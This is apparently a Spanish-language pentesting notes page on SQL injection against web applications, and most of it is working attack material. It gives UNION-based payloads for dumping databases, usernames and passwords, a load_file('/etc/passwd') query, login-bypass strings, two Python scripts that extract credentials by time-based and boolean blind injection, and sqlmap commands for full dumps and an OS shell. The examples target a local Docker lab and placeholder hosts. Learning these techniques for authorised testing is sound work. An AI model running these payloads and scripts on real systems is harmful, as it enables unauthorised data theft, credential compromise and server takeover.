SQL Injection

¿Qué es y cómo funciona?

la inyección SQL es una técnica de inyección de código que se utiliza para atacar aplicaciones basadas en datos, en las que se insertan declaraciones SQL maliciosas en un campo de entrada para su ejecución (por ejemplo, para volcar el contenido de la base de datos al atacante).

Comandos básicos de SQL

Comando
Descripción

SELECT

Se utiliza para seleccionar las columnas que se desean mostrar en la consulta.

FROM

Se utiliza para especificar la tabla o tablas de las que se desean recuperar los datos.

WHERE

Se utiliza para establecer una condición que deben cumplir los datos que se desean recuperar.

GROUP BY

Se utiliza para agrupar los datos por una o varias columnas.

HAVING

Se utiliza para establecer una condición que deben cumplir los grupos que se desean recuperar.

ORDER BY

Se utiliza para ordenar los datos por una o varias columnas.

LIMIT

Se utiliza para limitar el número de filas que se desean recuperar.

OFFSET

Se utiliza para establecer el número de filas que se deben saltar antes de empezar a recuperar datos.

DISTINCT

Se utiliza para eliminar las filas duplicadas de los resultados de la consulta.

IN

Se utiliza para especificar una lista de valores que deben cumplir una condición.

BETWEEN

Se utiliza para especificar un rango de valores que deben cumplir una condición.

LIKE

Se utiliza para buscar valores que contengan una cadena de caracteres determinada.

IS NULL

Se utiliza para buscar valores que sean nulos.

IS NOT NULL

Se utiliza para buscar valores que no sean nulos.

La tabla que se presenta a continuación enumera las posibilidades de las vistas de metadatos del sistema en diferentes bases de datos comunes:

Base de datos
Vista de metadatos
Descripción

MySQL

information_schema.SCHEMATA

Contiene una fila por cada base de datos en el servidor MySQL.

MySQL

information_schema.TABLES

Contiene información sobre cada tabla en cada base de datos en el servidor MySQL.

MySQL

information_schema.COLUMNS

Contiene información sobre cada columna en cada tabla en cada base de datos en el servidor MySQL.

MySQL

information_schema.INDEXES

Contiene información sobre cada índice en cada tabla en cada base de datos en el servidor MySQL.

PostgreSQL

pg_catalog.pg_namespace

Contiene información sobre cada esquema en la base de datos de PostgreSQL.

PostgreSQL

pg_catalog.pg_tables

Contiene información sobre cada tabla en cada esquema en la base de datos de PostgreSQL.

PostgreSQL

pg_catalog.pg_columns

Contiene información sobre cada columna en cada tabla en cada esquema en la base de datos de PostgreSQL.

PostgreSQL

pg_catalog.pg_indexes

Contiene información sobre cada índice en cada tabla en cada esquema en la base de datos de PostgreSQL.

SQL Server

sys.schemas

Contiene información sobre cada esquema en la base de datos de SQL Server.

SQL Server

sys.tables

Contiene información sobre cada tabla en cada esquema en la base de datos de SQL Server.

SQL Server

sys.columns

Contiene información sobre cada columna en cada tabla en cada esquema en la base de datos de SQL Server.

SQL Server

sys.indexes

Contiene información sobre cada índice en cada tabla en cada esquema en la base de datos de SQL Server.

Check List

Tipos de SQL Injection

SQL In-Band

Tenemos que saber que esto:

select * from departamento where id = 2;

Es lo mismo que esto:

http://webside.com/ayuda/vista.php?id=2

Así que podemos hacer después del id=2 mas consultas basadas en error, una vez entendido esto, vamos a las comandos:

Test si hay sql injection

'admin OR sleep(5)-- - # si tarda 5 segundos significa que podemos inyectar

Error based - ORDER BY

Este proceso es para determinar cuantas columnas existen en la base de datos a la que estamos intentando de sacar información. Cuando hayamos hecho por ejemplo order by 10 -- - y no salga información solo hace falta ir bajando hasta que salga y así sabremos cuantas columnas tiene la bbdd.

# Example
http://webside.com/ayuda/vista.php?id=2' order by 2 — -
order by 2 -- -

Nota importante: El caso es que a veces puede pasar que no sale el error, lo que hay que hacer es lo de siempre order by 100-- - hasta que te salga información, cuando te salga información por ejemplo cuando has hecho order by 4-- - significa que hay 4 columnas. Y ya puedes seguir con la inyección.

Recordar que para que muestre la info tenemos que poner el primer parametro que sea erroneo porque sino no funcionará. Si existe el id=2 al hacer la query id=2 union select 1,2,3,database() -- - no saldrá información por que es correcto el id, habría que poner id=-1 o id=23123 para que funcione.

UNION

union select 1,2,3,4 -- -
union select 1,”test”,3,4 -- -
union select NULL,NULL,NULL,NULL -- -
union select 1,database(),3,4 -- -  #mostrar bbdd actual
union select 1,user(),3,4 -- - # mostrar usuario
union select 1,@@version,3,4; -- - # mostrar version de sql
union select 1,load_file(‘/etc/passwd’),3,4 -- - # que nos muestre el fichero /etc/passwd 
union select 1,group_concat(schema_name),3,4 from information_schema.schemata -- - # quiero que en el campo 2 pongas los nombres de todas las bases de datos disponibles
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = '<bbdd>' -- - # que en campo 2 me ponga todos los nombres de tablas
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = '<bbdd>' and table_name='<tabla>' -- - 
union select 1,group_concat(username,0x3a,password),3,4 from <bbdd>.<table> -- -  # nos de los usuarios y contraseñas de esa base de datos y esa tabla

A veces puede pasar que filtramos por (username y password) y puede que no aparezcan las contraseñas, eso es por que a veces suele estar en la columna "authentication_string"

Así que deberíamos añadir el campo en la syntaxis

union select 1,group_concat(username,0x3a,password,0x3a,authentication_string),3,4 from <bbdd>.<table> -- -

Test en buscador

A veces podemos sacar información en un buscador de la web mediante sqlinjection.

# Ejemplo
http://victim.site/view.php?id=1131

# Vulnerar con OR siempre TRUE (Ej: id=1131' OR '1'='1 )
' OR 1=1; -- -
' OR '1'='1 
' OR 'a'='a
  OR 1=1
' OR ''='
' or 1=2; -- -  # Falsa condición
# UNION
' UNION SELECT 'j4ckie1', 'j4ckie2'; -- - # si da fallo, significa que hay más columnas y hay que añadir más 'j4ckie' 
' UNION SELECT Username,Password FROM Accounts WHERE 'a'='a';
' UNION SELECT user(); -- -';

Test en Login

veces con este tipo de sql injectio podemos bypassear el login de un panel.

# Normalmente este proceso se prueba con Burpsuite
user=aa
password= aa
# Interceptamos la petición y realizamos unas pruebas
user=a'&pass=a # si da un fallo de mysql es vulnerable --> 302 NOT FOUND (probamos lo mismo en el campo password)
user=a' OR 1=1; -- -&password=a # true condition
user=a' OR 'j4ckie'='j4ckie'; -- -&password=a
user=a' OR 1=2; -- -&password=a # false condition

SQL Blind/Boolean-based

Cuando hablamos de una SQL Injection la cuál no podemos ver el resultado de la petición se le llama a ciegas, y dentro de esta misma variable hay de 2 tipos:

  • Basada en tiempo

  • Basada en condiciones

Tiempo

Una SQL Injection de tiempo son cuando enviamos una petición y le ponemos el parámetro sleep y dependiendo de lo que tarde en responder podriamos determinar si los datos son correctos o no.

Ejemplo de como sería por detrás

select * from users where id = 1 and sleep(5);

Ahora pondré un ejemplo de si la base de datos con la que estamos trabajando actualmente empieza por 'a' tarda 5 segundos en responder:

Primera petición

MariaDB [j4ckie0x17]> select * from users where id = 1 and if(substr(database(),1,1)='a',sleep(5),1);
+------+----------+-----------+
| id   | username | password  |
+------+----------+-----------+
|    1 | jack     | admin1234 |
+------+----------+-----------+
1 row in set (0,001 sec)

Segunda petición

MariaDB [j4ckie0x17]> select * from users where id = 1 and if(substr(database(),1,1)='j',sleep(5),1);
Empty set 5,001 sec)

Como podemos ver en la segunda petición no nos da ningún resultado, eso nos da a entender que el primer carácter de la base de datos empieza por j. Y en la primera obviamente sería el resultado de una petición no correcta ya que no empieza por a.

Este proceso es un poco tedioso a la hora de hacerlo manual, por eso os traigo un script en python que estuve haciendo en un curso de s4vitar el cuál te automatiza todo el proceso:

Solamente tenemos que cambiar 2 parámetros que cambian dependiendo de a lo que nos enfrentemos:

  • main_url

  • sql_url

SQL-URL Examples

# Saber la base de datos
id=9' if(ascii(substr(database(),1,1))=106,sleep(5),1);
# Saber schema_name
?id=9' and if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),%d,1))=%d,sleep(0.5),1)-- -
?id=9' and if(ascii(substr((select group_concat(table_name) from information_schema.tables),%d,1))=%d,sleep(0.5),1)-- -
?id=9' and if(ascii(substr((select group_concat(column_name) from information_schema.columns),%d,1))=%d,sleep(0.5),1)-- -

Script python para SQL Injection en GET

#!/usr/bin/python3

import requests
import signal
import sys
import time
import string

from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables Globales
main_url = "http://localhost/searchUsers.php"
characters = string.printable

def makeSQLI():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso")

    time.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ""

    for position in range (1, 50):
        for character in range(33, 126):
            sqli_url = main_url + "?id=1 and if(ascii(substr(select group_concat(username,0x3a,password),%d,1))=%d,sleep(0.5),1)" % (position, character) # Aquí le decimos al 1er %d que es position y el segundo %d es character

            p1.status(sqli_url)
            
            time_start = time.time()
            
            r = requests.get(sqli_url)
            
            time_end = time.time()
            if time_end - time_start > 0.5:
                extracted_info += (chr(character))
                p2.status(extracted_info)
                break

if __name__ == '__main__':
    
    makeSQLI()

Resultado del script

python sqli_time.py
[↙] Fuerza bruta: http://localhost/searchUsers.php?id=1 and if(ascii(substr(database(),46,1))=53,sleep(0.5),1)[d] 
Datos extraídos: j4ckie0x17:password123

Script python para SQL Injection en POST

Condiciones

Una SQL Injection condicional es cuando enviamos la petición y le ponemos la condición true o false.

Si ponemos al final de la query esto ' OR 1=1-- - nos aparecera de nuevo toda la tabla ya que le estamos diciendo que obvie todo lo de atrás y que muestre todo ya que 1=1 es true.

O por ejemplo imaginemos que estamos enfrentandonos a una tabla de usuarios y queremos descubrir si el primer carácter empieza por a.

select(select substring(username,1,1) from users where id=1)='a';

Cómo el primer usuario es jack, la condición te dice que es 0 que es false. Pero si le ponemos ='j' veremos que pone 1.

select(select substring(username,1,1) from users where id=1)='j';

Otro ejemplo que lo estaré haciendo con curl es el siguiente:

El id 9 no existe pero como despues hacemos un OR 1=1 pues lo detecta como true que le decimos que obvie lo de atrás y muestre todo

curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9 or 1=1"
HTTP/1.1 200 OK
Date: Tue, 02 May 2023 06:04:27 GMT
Server: Apache/2.4.56 (Debian)
Content-Length: 1
Content-Type: text/html; charset=UTF-8

Pero si ponemos 1=2 que es false nos dará un 404

curl -s -I -X GET "http://localhost/searchUsers.php" -G --data-urlencode "id=9 or 1=2"
HTTP/1.1 404 Not Found
Date: Tue, 02 May 2023 06:05:33 GMT
Server: Apache/2.4.56 (Debian)
Content-Length: 1
Content-Type: text/html; charset=UTF-8

Script de python para condicones

#!/usr/bin/python3

import requests
import signal
import sys
import time
import string

from pwn import *

def def_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

# Variables Globales
main_url = "http://localhost/searchUsers.php"
characters = string.printable

def makeSQLI():
    p1 = log.progress("Fuerza bruta")
    p1.status("Iniciando proceso")

    time.sleep(2)

    p2 = log.progress("Datos extraídos")
    extracted_info = ""

    for position in range (1, 50):
        for character in range(33, 126):
            sqli_url = main_url + "?id=9 or (select(select ascii(substring((select group_concat(username) from users),%d,1)) from users where id=1)=%d)" % (position, character) # Aquí le decimos al 1er %d que es position y el segundo %d es character

            p1.status(sqli_url)

            r = requests.get(sqli_url)
            
            if r.status_code == 200:
                extracted_info += (chr(character))
                p2.status(extracted_info)
                break

if __name__ == '__main__':
    
    makeSQLI()

Ejemplo SQL Injection - Error Based

Este ejemplo lo he realizado con un laboratorio que puedes instalarte en docker, aquí el link

Primero tenemos que saber cuantas columnas tiene la base de datos actual, con BurpSuite interceptamos la petición y la mandamos al Repeater para hacer las pruebas.

order by 9-- -
order by 5-- -

Vemos que con 5 ya no nos da error

Empecemos con lo bueno, vamos a realizar unas pruebas para ver si poniendo con UNION unos datos se representa en la tabla

' union select 1,2,database(),4,5-- -

Ahora vamos a listar todas las bases de datos existentes del servidor

' union select 1,2,schema_name,4,5 from information_schema.schemata-- -

En el siguiente comando listaremos las tablas de la base de datos sqlitraining

' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='sqlitraining'-- -

Seguidamente listaremos todas las columnas de la tabla users

' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='sqlitraining' and table_name='users'-- -

Nos interesan los campos username y password

' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -

Si cambiamos la respuesta a Pretty podemos seleccionar todos los datos

También podemos ver estos datos de una manera más ordenada poniendo el campo username y password en las columnas

' union select 1,username,password,4,5 from users-- -

SQL Map

Sintaxis principal

sqlmap -u <URL> -p <parametro de la inyección> [opcion]

Sqlmap en buscador

sqlmap -u 'http://victim.site/view.php?id=1141' -p id #Ejemplo de sintaxis

sqlmap -u <URL> -p <parametro de la inyección> [opcion] # Basic syntax

sqlmap -u <URL> -p <parametro> --technique=TECH #Get Request (TECH opciones: BEUSTQ)
sqlmap -u <URL> -p search --technique=U # buscar inyeccion UNION en la url
sqlmap -u <URL> -p search --technique=U --banner -v3 --fresh-queries # ver el payload que ha utilizado para la inyección.
sqlmap -u <URL> --method POST --data=param1=FUZZ&param2=FUZZ #POST Request
sqlmap -u <URL> -p search --technique=U --dbs # Enumerar bases de datos
sqlmap -u <URL> --tables #Enumerar tablas
sqlmap -u <URL> --current-db <BBDD> --columns # Enumerar columnas
sqlmap -u <URL> -p search --technique=U -D <bbdd> -T users --columns # Enumerar columnas
sqlmap -u <URL> --current-db <BBDD> --dump #Ver datos de las columnas
sqlmap -u <URL> -p search --technique=U -D <bbdd> -T users -C username,password --dump # ver datos de esas columnas especificas
sqlmap -u <URL> -p search --technique=U --users # Enumerar usuarios

Cuando hayamos conseguido el payload del sql map para inyectarlo manualmente, al final poner siempre %23.

Sqlmap en Login

sqlmap -u 'http://victim.site/login.php' # url que atacamos
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B --banner # test inyeccion login
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B -dbs # enum bbdd
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B -D <BBDD> # bbdd especifica
sqlmap -u <URL> --data='user=a&pass=a' -p user --technique=B -D <BBDD> --tables
# Ahora con proxy interceptamos la request principal y la guardamos en un archivo
sqlmap -r <URL file> -p user --technique=B --banner # inyeccion en user
sqlmap -r <URL file> -p user --technique=B --banner -v3 # ver payload
sqlmap -r <URL file> -p user --os-shell # para obtener una shell en el mysql
POST /searchproducts.php HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
Origin: http://localhost:8000
DNT: 1
Connection: close
Referer: http://localhost:8000/searchproducts.php
Cookie: PHPSESSID=8118130a69f64a1de05e86673f417197
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
searchitem=test

Sqlmap -r

Primero hay que interceptar la petición y después guardarla en un fichero y entonces decirle al sqlmap que parámetro tiene que consultar

El parámetro al que queremos que compruebe si es vulnerable es `searchitem=test`

sqlmap -r request.req -p searchitem --batch # buscar si es vulnerable
sqlmap -r request.req -p searchitem --batch --dbs # mostrar bases de datos
sqlmap -r request.req -p searchitem --batch -D <base de datos> --tables # muestrame las tablas de X base de datos
sqlmap -r request.req -p searchitem --batch -D <base de datos> -T users --columns # columnas de tabla X
sqlmap -r request.req -p searchitem --batch -D <base de datos> -T users -C username,password --dump # muestrame la información de esas columnas

En /usr/share/sqlmap/output/<target> encontramos todos los logs de los comandos y info que hemos hecho. Si no hay nada ejecuta la siguiente comanda: sqlmap -r <URL file> -p user --technique=B --banner -v3 --flush-session

SQL Map cheat sheet

Aquí encontrarás todos los comandos de sqlmap: Cheat sheet

Last updated